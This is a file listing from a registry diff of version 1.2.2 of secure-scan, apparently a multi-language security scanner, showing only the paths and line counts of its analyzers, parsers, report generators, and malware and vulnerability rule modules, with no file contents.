secure-scan 1.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (569) hide show
  1. package/README.md +564 -0
  2. package/dist/ai/aiAnalyzer.d.ts +99 -0
  3. package/dist/ai/aiAnalyzer.d.ts.map +1 -0
  4. package/dist/ai/aiAnalyzer.js +669 -0
  5. package/dist/ai/aiAnalyzer.js.map +1 -0
  6. package/dist/ai/index.d.ts +5 -0
  7. package/dist/ai/index.d.ts.map +1 -0
  8. package/dist/ai/index.js +21 -0
  9. package/dist/ai/index.js.map +1 -0
  10. package/dist/analyzers/base/baseAnalyzer.d.ts +44 -0
  11. package/dist/analyzers/base/baseAnalyzer.d.ts.map +1 -0
  12. package/dist/analyzers/base/baseAnalyzer.js +53 -0
  13. package/dist/analyzers/base/baseAnalyzer.js.map +1 -0
  14. package/dist/analyzers/base/index.d.ts +5 -0
  15. package/dist/analyzers/base/index.d.ts.map +1 -0
  16. package/dist/analyzers/base/index.js +21 -0
  17. package/dist/analyzers/base/index.js.map +1 -0
  18. package/dist/analyzers/c-cpp/cppAnalyzer.d.ts +60 -0
  19. package/dist/analyzers/c-cpp/cppAnalyzer.d.ts.map +1 -0
  20. package/dist/analyzers/c-cpp/cppAnalyzer.js +218 -0
  21. package/dist/analyzers/c-cpp/cppAnalyzer.js.map +1 -0
  22. package/dist/analyzers/c-cpp/index.d.ts +5 -0
  23. package/dist/analyzers/c-cpp/index.d.ts.map +1 -0
  24. package/dist/analyzers/c-cpp/index.js +21 -0
  25. package/dist/analyzers/c-cpp/index.js.map +1 -0
  26. package/dist/analyzers/core/engine/index.d.ts +5 -0
  27. package/dist/analyzers/core/engine/index.d.ts.map +1 -0
  28. package/dist/analyzers/core/engine/index.js +21 -0
  29. package/dist/analyzers/core/engine/index.js.map +1 -0
  30. package/dist/analyzers/core/engine/ruleEngine.d.ts +46 -0
  31. package/dist/analyzers/core/engine/ruleEngine.d.ts.map +1 -0
  32. package/dist/analyzers/core/engine/ruleEngine.js +173 -0
  33. package/dist/analyzers/core/engine/ruleEngine.js.map +1 -0
  34. package/dist/analyzers/core/index.d.ts +8 -0
  35. package/dist/analyzers/core/index.d.ts.map +1 -0
  36. package/dist/analyzers/core/index.js +24 -0
  37. package/dist/analyzers/core/index.js.map +1 -0
  38. package/dist/analyzers/core/scanner/fileScanner.d.ts +31 -0
  39. package/dist/analyzers/core/scanner/fileScanner.d.ts.map +1 -0
  40. package/dist/analyzers/core/scanner/fileScanner.js +199 -0
  41. package/dist/analyzers/core/scanner/fileScanner.js.map +1 -0
  42. package/dist/analyzers/core/scanner/index.d.ts +5 -0
  43. package/dist/analyzers/core/scanner/index.d.ts.map +1 -0
  44. package/dist/analyzers/core/scanner/index.js +21 -0
  45. package/dist/analyzers/core/scanner/index.js.map +1 -0
  46. package/dist/analyzers/core/scoring/index.d.ts +5 -0
  47. package/dist/analyzers/core/scoring/index.d.ts.map +1 -0
  48. package/dist/analyzers/core/scoring/index.js +21 -0
  49. package/dist/analyzers/core/scoring/index.js.map +1 -0
  50. package/dist/analyzers/core/scoring/riskScoring.d.ts +49 -0
  51. package/dist/analyzers/core/scoring/riskScoring.d.ts.map +1 -0
  52. package/dist/analyzers/core/scoring/riskScoring.js +180 -0
  53. package/dist/analyzers/core/scoring/riskScoring.js.map +1 -0
  54. package/dist/analyzers/core/securityScanner.d.ts +47 -0
  55. package/dist/analyzers/core/securityScanner.d.ts.map +1 -0
  56. package/dist/analyzers/core/securityScanner.js +298 -0
  57. package/dist/analyzers/core/securityScanner.js.map +1 -0
  58. package/dist/analyzers/csharp/csharpAnalyzer.d.ts +64 -0
  59. package/dist/analyzers/csharp/csharpAnalyzer.d.ts.map +1 -0
  60. package/dist/analyzers/csharp/csharpAnalyzer.js +232 -0
  61. package/dist/analyzers/csharp/csharpAnalyzer.js.map +1 -0
  62. package/dist/analyzers/csharp/index.d.ts +5 -0
  63. package/dist/analyzers/csharp/index.d.ts.map +1 -0
  64. package/dist/analyzers/csharp/index.js +21 -0
  65. package/dist/analyzers/csharp/index.js.map +1 -0
  66. package/dist/analyzers/iac/iacAnalyzer.d.ts +36 -0
  67. package/dist/analyzers/iac/iacAnalyzer.d.ts.map +1 -0
  68. package/dist/analyzers/iac/iacAnalyzer.js +182 -0
  69. package/dist/analyzers/iac/iacAnalyzer.js.map +1 -0
  70. package/dist/analyzers/iac/index.d.ts +5 -0
  71. package/dist/analyzers/iac/index.d.ts.map +1 -0
  72. package/dist/analyzers/iac/index.js +21 -0
  73. package/dist/analyzers/iac/index.js.map +1 -0
  74. package/dist/analyzers/index.d.ts +30 -0
  75. package/dist/analyzers/index.d.ts.map +1 -0
  76. package/dist/analyzers/index.js +80 -0
  77. package/dist/analyzers/index.js.map +1 -0
  78. package/dist/analyzers/java/index.d.ts +5 -0
  79. package/dist/analyzers/java/index.d.ts.map +1 -0
  80. package/dist/analyzers/java/index.js +21 -0
  81. package/dist/analyzers/java/index.js.map +1 -0
  82. package/dist/analyzers/java/javaAnalyzer.d.ts +64 -0
  83. package/dist/analyzers/java/javaAnalyzer.d.ts.map +1 -0
  84. package/dist/analyzers/java/javaAnalyzer.js +224 -0
  85. package/dist/analyzers/java/javaAnalyzer.js.map +1 -0
  86. package/dist/analyzers/javascript/astUtils.d.ts +170 -0
  87. package/dist/analyzers/javascript/astUtils.d.ts.map +1 -0
  88. package/dist/analyzers/javascript/astUtils.js +700 -0
  89. package/dist/analyzers/javascript/astUtils.js.map +1 -0
  90. package/dist/analyzers/javascript/index.d.ts +18 -0
  91. package/dist/analyzers/javascript/index.d.ts.map +1 -0
  92. package/dist/analyzers/javascript/index.js +50 -0
  93. package/dist/analyzers/javascript/index.js.map +1 -0
  94. package/dist/analyzers/javascript/javascriptAnalyzer.d.ts +111 -0
  95. package/dist/analyzers/javascript/javascriptAnalyzer.d.ts.map +1 -0
  96. package/dist/analyzers/javascript/javascriptAnalyzer.js +860 -0
  97. package/dist/analyzers/javascript/javascriptAnalyzer.js.map +1 -0
  98. package/dist/analyzers/javascript/malwareDetector.d.ts +102 -0
  99. package/dist/analyzers/javascript/malwareDetector.d.ts.map +1 -0
  100. package/dist/analyzers/javascript/malwareDetector.js +616 -0
  101. package/dist/analyzers/javascript/malwareDetector.js.map +1 -0
  102. package/dist/analyzers/javascript/packageJsonAnalyzer.d.ts +87 -0
  103. package/dist/analyzers/javascript/packageJsonAnalyzer.d.ts.map +1 -0
  104. package/dist/analyzers/javascript/packageJsonAnalyzer.js +553 -0
  105. package/dist/analyzers/javascript/packageJsonAnalyzer.js.map +1 -0
  106. package/dist/analyzers/javascript/taintAnalyzer.d.ts +120 -0
  107. package/dist/analyzers/javascript/taintAnalyzer.d.ts.map +1 -0
  108. package/dist/analyzers/javascript/taintAnalyzer.js +526 -0
  109. package/dist/analyzers/javascript/taintAnalyzer.js.map +1 -0
  110. package/dist/analyzers/php/index.d.ts +5 -0
  111. package/dist/analyzers/php/index.d.ts.map +1 -0
  112. package/dist/analyzers/php/index.js +21 -0
  113. package/dist/analyzers/php/index.js.map +1 -0
  114. package/dist/analyzers/php/phpAnalyzer.d.ts +56 -0
  115. package/dist/analyzers/php/phpAnalyzer.d.ts.map +1 -0
  116. package/dist/analyzers/php/phpAnalyzer.js +202 -0
  117. package/dist/analyzers/php/phpAnalyzer.js.map +1 -0
  118. package/dist/analyzers/python/index.d.ts +5 -0
  119. package/dist/analyzers/python/index.d.ts.map +1 -0
  120. package/dist/analyzers/python/index.js +21 -0
  121. package/dist/analyzers/python/index.js.map +1 -0
  122. package/dist/analyzers/python/pythonAnalyzer.d.ts +64 -0
  123. package/dist/analyzers/python/pythonAnalyzer.d.ts.map +1 -0
  124. package/dist/analyzers/python/pythonAnalyzer.js +226 -0
  125. package/dist/analyzers/python/pythonAnalyzer.js.map +1 -0
  126. package/dist/cli/index.d.ts +7 -0
  127. package/dist/cli/index.d.ts.map +1 -0
  128. package/dist/cli/index.js +281 -0
  129. package/dist/cli/index.js.map +1 -0
  130. package/dist/core/engine/index.d.ts +5 -0
  131. package/dist/core/engine/index.d.ts.map +1 -0
  132. package/dist/core/engine/index.js +21 -0
  133. package/dist/core/engine/index.js.map +1 -0
  134. package/dist/core/engine/ruleEngine.d.ts +46 -0
  135. package/dist/core/engine/ruleEngine.d.ts.map +1 -0
  136. package/dist/core/engine/ruleEngine.js +173 -0
  137. package/dist/core/engine/ruleEngine.js.map +1 -0
  138. package/dist/core/index.d.ts +8 -0
  139. package/dist/core/index.d.ts.map +1 -0
  140. package/dist/core/index.js +24 -0
  141. package/dist/core/index.js.map +1 -0
  142. package/dist/core/scanner/fileScanner.d.ts +31 -0
  143. package/dist/core/scanner/fileScanner.d.ts.map +1 -0
  144. package/dist/core/scanner/fileScanner.js +199 -0
  145. package/dist/core/scanner/fileScanner.js.map +1 -0
  146. package/dist/core/scanner/index.d.ts +5 -0
  147. package/dist/core/scanner/index.d.ts.map +1 -0
  148. package/dist/core/scanner/index.js +21 -0
  149. package/dist/core/scanner/index.js.map +1 -0
  150. package/dist/core/scoring/index.d.ts +5 -0
  151. package/dist/core/scoring/index.d.ts.map +1 -0
  152. package/dist/core/scoring/index.js +21 -0
  153. package/dist/core/scoring/index.js.map +1 -0
  154. package/dist/core/scoring/riskScoring.d.ts +49 -0
  155. package/dist/core/scoring/riskScoring.d.ts.map +1 -0
  156. package/dist/core/scoring/riskScoring.js +180 -0
  157. package/dist/core/scoring/riskScoring.js.map +1 -0
  158. package/dist/core/securityScanner.d.ts +47 -0
  159. package/dist/core/securityScanner.d.ts.map +1 -0
  160. package/dist/core/securityScanner.js +298 -0
  161. package/dist/core/securityScanner.js.map +1 -0
  162. package/dist/dependencies/aiDependencyAnalyzer.d.ts +96 -0
  163. package/dist/dependencies/aiDependencyAnalyzer.d.ts.map +1 -0
  164. package/dist/dependencies/aiDependencyAnalyzer.js +435 -0
  165. package/dist/dependencies/aiDependencyAnalyzer.js.map +1 -0
  166. package/dist/dependencies/database/cveDatabase.d.ts +32 -0
  167. package/dist/dependencies/database/cveDatabase.d.ts.map +1 -0
  168. package/dist/dependencies/database/cveDatabase.js +393 -0
  169. package/dist/dependencies/database/cveDatabase.js.map +1 -0
  170. package/dist/dependencies/database/index.d.ts +6 -0
  171. package/dist/dependencies/database/index.d.ts.map +1 -0
  172. package/dist/dependencies/database/index.js +22 -0
  173. package/dist/dependencies/database/index.js.map +1 -0
  174. package/dist/dependencies/database/maliciousPackages.d.ts +43 -0
  175. package/dist/dependencies/database/maliciousPackages.d.ts.map +1 -0
  176. package/dist/dependencies/database/maliciousPackages.js +279 -0
  177. package/dist/dependencies/database/maliciousPackages.js.map +1 -0
  178. package/dist/dependencies/dependencyAnalyzer.d.ts +74 -0
  179. package/dist/dependencies/dependencyAnalyzer.d.ts.map +1 -0
  180. package/dist/dependencies/dependencyAnalyzer.js +349 -0
  181. package/dist/dependencies/dependencyAnalyzer.js.map +1 -0
  182. package/dist/dependencies/detectors/index.d.ts +7 -0
  183. package/dist/dependencies/detectors/index.d.ts.map +1 -0
  184. package/dist/dependencies/detectors/index.js +28 -0
  185. package/dist/dependencies/detectors/index.js.map +1 -0
  186. package/dist/dependencies/detectors/securityStandards.d.ts +15 -0
  187. package/dist/dependencies/detectors/securityStandards.d.ts.map +1 -0
  188. package/dist/dependencies/detectors/securityStandards.js +178 -0
  189. package/dist/dependencies/detectors/securityStandards.js.map +1 -0
  190. package/dist/dependencies/detectors/vulnerabilityDetector.d.ts +53 -0
  191. package/dist/dependencies/detectors/vulnerabilityDetector.d.ts.map +1 -0
  192. package/dist/dependencies/detectors/vulnerabilityDetector.js +289 -0
  193. package/dist/dependencies/detectors/vulnerabilityDetector.js.map +1 -0
  194. package/dist/dependencies/index.d.ts +14 -0
  195. package/dist/dependencies/index.d.ts.map +1 -0
  196. package/dist/dependencies/index.js +43 -0
  197. package/dist/dependencies/index.js.map +1 -0
  198. package/dist/dependencies/installed/index.d.ts +8 -0
  199. package/dist/dependencies/installed/index.d.ts.map +1 -0
  200. package/dist/dependencies/installed/index.js +24 -0
  201. package/dist/dependencies/installed/index.js.map +1 -0
  202. package/dist/dependencies/installed/installedScanner.d.ts +91 -0
  203. package/dist/dependencies/installed/installedScanner.d.ts.map +1 -0
  204. package/dist/dependencies/installed/installedScanner.js +766 -0
  205. package/dist/dependencies/installed/installedScanner.js.map +1 -0
  206. package/dist/dependencies/installed/malwarePatterns.d.ts +32 -0
  207. package/dist/dependencies/installed/malwarePatterns.d.ts.map +1 -0
  208. package/dist/dependencies/installed/malwarePatterns.js +480 -0
  209. package/dist/dependencies/installed/malwarePatterns.js.map +1 -0
  210. package/dist/dependencies/installed/types.d.ts +274 -0
  211. package/dist/dependencies/installed/types.d.ts.map +1 -0
  212. package/dist/dependencies/installed/types.js +7 -0
  213. package/dist/dependencies/installed/types.js.map +1 -0
  214. package/dist/dependencies/parsers/base/baseParser.d.ts +44 -0
  215. package/dist/dependencies/parsers/base/baseParser.d.ts.map +1 -0
  216. package/dist/dependencies/parsers/base/baseParser.js +80 -0
  217. package/dist/dependencies/parsers/base/baseParser.js.map +1 -0
  218. package/dist/dependencies/parsers/base/index.d.ts +6 -0
  219. package/dist/dependencies/parsers/base/index.d.ts.map +1 -0
  220. package/dist/dependencies/parsers/base/index.js +27 -0
  221. package/dist/dependencies/parsers/base/index.js.map +1 -0
  222. package/dist/dependencies/parsers/cpp/cppParser.d.ts +36 -0
  223. package/dist/dependencies/parsers/cpp/cppParser.d.ts.map +1 -0
  224. package/dist/dependencies/parsers/cpp/cppParser.js +196 -0
  225. package/dist/dependencies/parsers/cpp/cppParser.js.map +1 -0
  226. package/dist/dependencies/parsers/cpp/index.d.ts +6 -0
  227. package/dist/dependencies/parsers/cpp/index.d.ts.map +1 -0
  228. package/dist/dependencies/parsers/cpp/index.js +27 -0
  229. package/dist/dependencies/parsers/cpp/index.js.map +1 -0
  230. package/dist/dependencies/parsers/csharp/csharpParser.d.ts +32 -0
  231. package/dist/dependencies/parsers/csharp/csharpParser.d.ts.map +1 -0
  232. package/dist/dependencies/parsers/csharp/csharpParser.js +125 -0
  233. package/dist/dependencies/parsers/csharp/csharpParser.js.map +1 -0
  234. package/dist/dependencies/parsers/csharp/index.d.ts +6 -0
  235. package/dist/dependencies/parsers/csharp/index.d.ts.map +1 -0
  236. package/dist/dependencies/parsers/csharp/index.js +27 -0
  237. package/dist/dependencies/parsers/csharp/index.js.map +1 -0
  238. package/dist/dependencies/parsers/index.d.ts +24 -0
  239. package/dist/dependencies/parsers/index.d.ts.map +1 -0
  240. package/dist/dependencies/parsers/index.js +69 -0
  241. package/dist/dependencies/parsers/index.js.map +1 -0
  242. package/dist/dependencies/parsers/java/index.d.ts +6 -0
  243. package/dist/dependencies/parsers/java/index.d.ts.map +1 -0
  244. package/dist/dependencies/parsers/java/index.js +27 -0
  245. package/dist/dependencies/parsers/java/index.js.map +1 -0
  246. package/dist/dependencies/parsers/java/javaParser.d.ts +32 -0
  247. package/dist/dependencies/parsers/java/javaParser.d.ts.map +1 -0
  248. package/dist/dependencies/parsers/java/javaParser.js +168 -0
  249. package/dist/dependencies/parsers/java/javaParser.js.map +1 -0
  250. package/dist/dependencies/parsers/javascript/index.d.ts +6 -0
  251. package/dist/dependencies/parsers/javascript/index.d.ts.map +1 -0
  252. package/dist/dependencies/parsers/javascript/index.js +27 -0
  253. package/dist/dependencies/parsers/javascript/index.js.map +1 -0
  254. package/dist/dependencies/parsers/javascript/javascriptParser.d.ts +55 -0
  255. package/dist/dependencies/parsers/javascript/javascriptParser.d.ts.map +1 -0
  256. package/dist/dependencies/parsers/javascript/javascriptParser.js +266 -0
  257. package/dist/dependencies/parsers/javascript/javascriptParser.js.map +1 -0
  258. package/dist/dependencies/parsers/php/index.d.ts +6 -0
  259. package/dist/dependencies/parsers/php/index.d.ts.map +1 -0
  260. package/dist/dependencies/parsers/php/index.js +27 -0
  261. package/dist/dependencies/parsers/php/index.js.map +1 -0
  262. package/dist/dependencies/parsers/php/phpParser.d.ts +35 -0
  263. package/dist/dependencies/parsers/php/phpParser.d.ts.map +1 -0
  264. package/dist/dependencies/parsers/php/phpParser.js +162 -0
  265. package/dist/dependencies/parsers/php/phpParser.js.map +1 -0
  266. package/dist/dependencies/parsers/python/index.d.ts +6 -0
  267. package/dist/dependencies/parsers/python/index.d.ts.map +1 -0
  268. package/dist/dependencies/parsers/python/index.js +27 -0
  269. package/dist/dependencies/parsers/python/index.js.map +1 -0
  270. package/dist/dependencies/parsers/python/pythonParser.d.ts +60 -0
  271. package/dist/dependencies/parsers/python/pythonParser.d.ts.map +1 -0
  272. package/dist/dependencies/parsers/python/pythonParser.js +336 -0
  273. package/dist/dependencies/parsers/python/pythonParser.js.map +1 -0
  274. package/dist/dependencies/types.d.ts +280 -0
  275. package/dist/dependencies/types.d.ts.map +1 -0
  276. package/dist/dependencies/types.js +59 -0
  277. package/dist/dependencies/types.js.map +1 -0
  278. package/dist/i18n/index.d.ts +2 -0
  279. package/dist/i18n/index.d.ts.map +1 -0
  280. package/dist/i18n/index.js +18 -0
  281. package/dist/i18n/index.js.map +1 -0
  282. package/dist/i18n/translations.d.ts +55 -0
  283. package/dist/i18n/translations.d.ts.map +1 -0
  284. package/dist/i18n/translations.js +119 -0
  285. package/dist/i18n/translations.js.map +1 -0
  286. package/dist/index.d.ts +14 -0
  287. package/dist/index.d.ts.map +1 -0
  288. package/dist/index.js +36 -0
  289. package/dist/index.js.map +1 -0
  290. package/dist/reports/dependencyReportGenerator.d.ts +20 -0
  291. package/dist/reports/dependencyReportGenerator.d.ts.map +1 -0
  292. package/dist/reports/dependencyReportGenerator.js +690 -0
  293. package/dist/reports/dependencyReportGenerator.js.map +1 -0
  294. package/dist/reports/htmlReportGenerator.d.ts +43 -0
  295. package/dist/reports/htmlReportGenerator.d.ts.map +1 -0
  296. package/dist/reports/htmlReportGenerator.js +793 -0
  297. package/dist/reports/htmlReportGenerator.js.map +1 -0
  298. package/dist/reports/index.d.ts +7 -0
  299. package/dist/reports/index.d.ts.map +1 -0
  300. package/dist/reports/index.js +23 -0
  301. package/dist/reports/index.js.map +1 -0
  302. package/dist/reports/installedDepsReportGenerator.d.ts +14 -0
  303. package/dist/reports/installedDepsReportGenerator.d.ts.map +1 -0
  304. package/dist/reports/installedDepsReportGenerator.js +872 -0
  305. package/dist/reports/installedDepsReportGenerator.js.map +1 -0
  306. package/dist/rules/index.d.ts +31 -0
  307. package/dist/rules/index.d.ts.map +1 -0
  308. package/dist/rules/index.js +95 -0
  309. package/dist/rules/index.js.map +1 -0
  310. package/dist/rules/malware/categories/backdoors.d.ts +12 -0
  311. package/dist/rules/malware/categories/backdoors.d.ts.map +1 -0
  312. package/dist/rules/malware/categories/backdoors.js +163 -0
  313. package/dist/rules/malware/categories/backdoors.js.map +1 -0
  314. package/dist/rules/malware/categories/cryptominers.d.ts +13 -0
  315. package/dist/rules/malware/categories/cryptominers.d.ts.map +1 -0
  316. package/dist/rules/malware/categories/cryptominers.js +415 -0
  317. package/dist/rules/malware/categories/cryptominers.js.map +1 -0
  318. package/dist/rules/malware/categories/exfiltration.d.ts +20 -0
  319. package/dist/rules/malware/categories/exfiltration.d.ts.map +1 -0
  320. package/dist/rules/malware/categories/exfiltration.js +658 -0
  321. package/dist/rules/malware/categories/exfiltration.js.map +1 -0
  322. package/dist/rules/malware/categories/keyloggers.d.ts +19 -0
  323. package/dist/rules/malware/categories/keyloggers.d.ts.map +1 -0
  324. package/dist/rules/malware/categories/keyloggers.js +763 -0
  325. package/dist/rules/malware/categories/keyloggers.js.map +1 -0
  326. package/dist/rules/malware/categories/loaders.d.ts +20 -0
  327. package/dist/rules/malware/categories/loaders.d.ts.map +1 -0
  328. package/dist/rules/malware/categories/loaders.js +702 -0
  329. package/dist/rules/malware/categories/loaders.js.map +1 -0
  330. package/dist/rules/malware/categories/network.d.ts +19 -0
  331. package/dist/rules/malware/categories/network.d.ts.map +1 -0
  332. package/dist/rules/malware/categories/network.js +622 -0
  333. package/dist/rules/malware/categories/network.js.map +1 -0
  334. package/dist/rules/malware/categories/obfuscation.d.ts +22 -0
  335. package/dist/rules/malware/categories/obfuscation.d.ts.map +1 -0
  336. package/dist/rules/malware/categories/obfuscation.js +766 -0
  337. package/dist/rules/malware/categories/obfuscation.js.map +1 -0
  338. package/dist/rules/malware/constants/index.d.ts +281 -0
  339. package/dist/rules/malware/constants/index.d.ts.map +1 -0
  340. package/dist/rules/malware/constants/index.js +327 -0
  341. package/dist/rules/malware/constants/index.js.map +1 -0
  342. package/dist/rules/malware/engine/index.d.ts +178 -0
  343. package/dist/rules/malware/engine/index.d.ts.map +1 -0
  344. package/dist/rules/malware/engine/index.js +552 -0
  345. package/dist/rules/malware/engine/index.js.map +1 -0
  346. package/dist/rules/malware/index.d.ts +205 -0
  347. package/dist/rules/malware/index.d.ts.map +1 -0
  348. package/dist/rules/malware/index.js +837 -0
  349. package/dist/rules/malware/index.js.map +1 -0
  350. package/dist/rules/malware/scoring/index.d.ts +84 -0
  351. package/dist/rules/malware/scoring/index.d.ts.map +1 -0
  352. package/dist/rules/malware/scoring/index.js +441 -0
  353. package/dist/rules/malware/scoring/index.js.map +1 -0
  354. package/dist/rules/malware/types/index.d.ts +616 -0
  355. package/dist/rules/malware/types/index.d.ts.map +1 -0
  356. package/dist/rules/malware/types/index.js +155 -0
  357. package/dist/rules/malware/types/index.js.map +1 -0
  358. package/dist/rules/malware/utils/index.d.ts +117 -0
  359. package/dist/rules/malware/utils/index.d.ts.map +1 -0
  360. package/dist/rules/malware/utils/index.js +514 -0
  361. package/dist/rules/malware/utils/index.js.map +1 -0
  362. package/dist/rules/standards.d.ts +26 -0
  363. package/dist/rules/standards.d.ts.map +1 -0
  364. package/dist/rules/standards.js +352 -0
  365. package/dist/rules/standards.js.map +1 -0
  366. package/dist/rules/vulnerabilities/constants/index.d.ts +835 -0
  367. package/dist/rules/vulnerabilities/constants/index.d.ts.map +1 -0
  368. package/dist/rules/vulnerabilities/constants/index.js +544 -0
  369. package/dist/rules/vulnerabilities/constants/index.js.map +1 -0
  370. package/dist/rules/vulnerabilities/engine/index.d.ts +145 -0
  371. package/dist/rules/vulnerabilities/engine/index.d.ts.map +1 -0
  372. package/dist/rules/vulnerabilities/engine/index.js +581 -0
  373. package/dist/rules/vulnerabilities/engine/index.js.map +1 -0
  374. package/dist/rules/vulnerabilities/index.d.ts +148 -0
  375. package/dist/rules/vulnerabilities/index.d.ts.map +1 -0
  376. package/dist/rules/vulnerabilities/index.js +252 -0
  377. package/dist/rules/vulnerabilities/index.js.map +1 -0
  378. package/dist/rules/vulnerabilities/rules/authentication.d.ts +8 -0
  379. package/dist/rules/vulnerabilities/rules/authentication.d.ts.map +1 -0
  380. package/dist/rules/vulnerabilities/rules/authentication.js +419 -0
  381. package/dist/rules/vulnerabilities/rules/authentication.js.map +1 -0
  382. package/dist/rules/vulnerabilities/rules/commandInjection.d.ts +8 -0
  383. package/dist/rules/vulnerabilities/rules/commandInjection.d.ts.map +1 -0
  384. package/dist/rules/vulnerabilities/rules/commandInjection.js +300 -0
  385. package/dist/rules/vulnerabilities/rules/commandInjection.js.map +1 -0
  386. package/dist/rules/vulnerabilities/rules/csrf.d.ts +8 -0
  387. package/dist/rules/vulnerabilities/rules/csrf.d.ts.map +1 -0
  388. package/dist/rules/vulnerabilities/rules/csrf.js +261 -0
  389. package/dist/rules/vulnerabilities/rules/csrf.js.map +1 -0
  390. package/dist/rules/vulnerabilities/rules/deserialization.d.ts +8 -0
  391. package/dist/rules/vulnerabilities/rules/deserialization.d.ts.map +1 -0
  392. package/dist/rules/vulnerabilities/rules/deserialization.js +336 -0
  393. package/dist/rules/vulnerabilities/rules/deserialization.js.map +1 -0
  394. package/dist/rules/vulnerabilities/rules/fileUpload.d.ts +8 -0
  395. package/dist/rules/vulnerabilities/rules/fileUpload.d.ts.map +1 -0
  396. package/dist/rules/vulnerabilities/rules/fileUpload.js +325 -0
  397. package/dist/rules/vulnerabilities/rules/fileUpload.js.map +1 -0
  398. package/dist/rules/vulnerabilities/rules/hardcodedSecrets.d.ts +8 -0
  399. package/dist/rules/vulnerabilities/rules/hardcodedSecrets.d.ts.map +1 -0
  400. package/dist/rules/vulnerabilities/rules/hardcodedSecrets.js +446 -0
  401. package/dist/rules/vulnerabilities/rules/hardcodedSecrets.js.map +1 -0
  402. package/dist/rules/vulnerabilities/rules/index.d.ts +17 -0
  403. package/dist/rules/vulnerabilities/rules/index.d.ts.map +1 -0
  404. package/dist/rules/vulnerabilities/rules/index.js +47 -0
  405. package/dist/rules/vulnerabilities/rules/index.js.map +1 -0
  406. package/dist/rules/vulnerabilities/rules/pathTraversal.d.ts +8 -0
  407. package/dist/rules/vulnerabilities/rules/pathTraversal.d.ts.map +1 -0
  408. package/dist/rules/vulnerabilities/rules/pathTraversal.js +351 -0
  409. package/dist/rules/vulnerabilities/rules/pathTraversal.js.map +1 -0
  410. package/dist/rules/vulnerabilities/rules/prototypePollution.d.ts +8 -0
  411. package/dist/rules/vulnerabilities/rules/prototypePollution.d.ts.map +1 -0
  412. package/dist/rules/vulnerabilities/rules/prototypePollution.js +272 -0
  413. package/dist/rules/vulnerabilities/rules/prototypePollution.js.map +1 -0
  414. package/dist/rules/vulnerabilities/rules/securityMisconfiguration.d.ts +8 -0
  415. package/dist/rules/vulnerabilities/rules/securityMisconfiguration.d.ts.map +1 -0
  416. package/dist/rules/vulnerabilities/rules/securityMisconfiguration.js +438 -0
  417. package/dist/rules/vulnerabilities/rules/securityMisconfiguration.js.map +1 -0
  418. package/dist/rules/vulnerabilities/rules/sqlInjection.d.ts +12 -0
  419. package/dist/rules/vulnerabilities/rules/sqlInjection.d.ts.map +1 -0
  420. package/dist/rules/vulnerabilities/rules/sqlInjection.js +636 -0
  421. package/dist/rules/vulnerabilities/rules/sqlInjection.js.map +1 -0
  422. package/dist/rules/vulnerabilities/rules/ssrf.d.ts +8 -0
  423. package/dist/rules/vulnerabilities/rules/ssrf.d.ts.map +1 -0
  424. package/dist/rules/vulnerabilities/rules/ssrf.js +401 -0
  425. package/dist/rules/vulnerabilities/rules/ssrf.js.map +1 -0
  426. package/dist/rules/vulnerabilities/rules/xss.d.ts +11 -0
  427. package/dist/rules/vulnerabilities/rules/xss.d.ts.map +1 -0
  428. package/dist/rules/vulnerabilities/rules/xss.js +724 -0
  429. package/dist/rules/vulnerabilities/rules/xss.js.map +1 -0
  430. package/dist/rules/vulnerabilities/scoring/index.d.ts +80 -0
  431. package/dist/rules/vulnerabilities/scoring/index.d.ts.map +1 -0
  432. package/dist/rules/vulnerabilities/scoring/index.js +414 -0
  433. package/dist/rules/vulnerabilities/scoring/index.js.map +1 -0
  434. package/dist/rules/vulnerabilities/types/index.d.ts +830 -0
  435. package/dist/rules/vulnerabilities/types/index.d.ts.map +1 -0
  436. package/dist/rules/vulnerabilities/types/index.js +164 -0
  437. package/dist/rules/vulnerabilities/types/index.js.map +1 -0
  438. package/dist/rules/vulnerabilities/utils/index.d.ts +206 -0
  439. package/dist/rules/vulnerabilities/utils/index.d.ts.map +1 -0
  440. package/dist/rules/vulnerabilities/utils/index.js +615 -0
  441. package/dist/rules/vulnerabilities/utils/index.js.map +1 -0
  442. package/dist/types/index.d.ts +359 -0
  443. package/dist/types/index.d.ts.map +1 -0
  444. package/dist/types/index.js +61 -0
  445. package/dist/types/index.js.map +1 -0
  446. package/dist/utils/index.d.ts +82 -0
  447. package/dist/utils/index.d.ts.map +1 -0
  448. package/dist/utils/index.js +326 -0
  449. package/dist/utils/index.js.map +1 -0
  450. package/dist/utils/logger.d.ts +40 -0
  451. package/dist/utils/logger.d.ts.map +1 -0
  452. package/dist/utils/logger.js +139 -0
  453. package/dist/utils/logger.js.map +1 -0
  454. package/docs/ARCHITECTURE.md +320 -0
  455. package/docs/V1.2.1-IA_Performances.md +116 -0
  456. package/docs/images/WIN_Defender.png +0 -0
  457. package/package.json +68 -0
  458. package/secure-scan.config.json +134 -0
  459. package/secure-scan.sln +29 -0
  460. package/src/ai/aiAnalyzer.ts +714 -0
  461. package/src/ai/index.ts +5 -0
  462. package/src/analyzers/base/baseAnalyzer.ts +66 -0
  463. package/src/analyzers/base/index.ts +5 -0
  464. package/src/analyzers/c-cpp/cppAnalyzer.ts +308 -0
  465. package/src/analyzers/c-cpp/index.ts +5 -0
  466. package/src/analyzers/core/engine/index.ts +5 -0
  467. package/src/analyzers/core/engine/ruleEngine.ts +221 -0
  468. package/src/analyzers/core/index.ts +8 -0
  469. package/src/analyzers/core/scanner/fileScanner.ts +204 -0
  470. package/src/analyzers/core/scanner/index.ts +5 -0
  471. package/src/analyzers/core/scoring/index.ts +5 -0
  472. package/src/analyzers/core/scoring/riskScoring.ts +198 -0
  473. package/src/analyzers/core/securityScanner.ts +321 -0
  474. package/src/analyzers/csharp/csharpAnalyzer.ts +328 -0
  475. package/src/analyzers/csharp/index.ts +5 -0
  476. package/src/analyzers/iac/iacAnalyzer.ts +318 -0
  477. package/src/analyzers/iac/index.ts +5 -0
  478. package/src/analyzers/index.ts +67 -0
  479. package/src/analyzers/java/index.ts +5 -0
  480. package/src/analyzers/java/javaAnalyzer.ts +320 -0
  481. package/src/analyzers/javascript/PROMPT_JS_ANALYZER.md +267 -0
  482. package/src/analyzers/javascript/astUtils.ts +789 -0
  483. package/src/analyzers/javascript/index.ts +50 -0
  484. package/src/analyzers/javascript/javascriptAnalyzer.ts +984 -0
  485. package/src/analyzers/javascript/malwareDetector.ts +697 -0
  486. package/src/analyzers/javascript/packageJsonAnalyzer.ts +626 -0
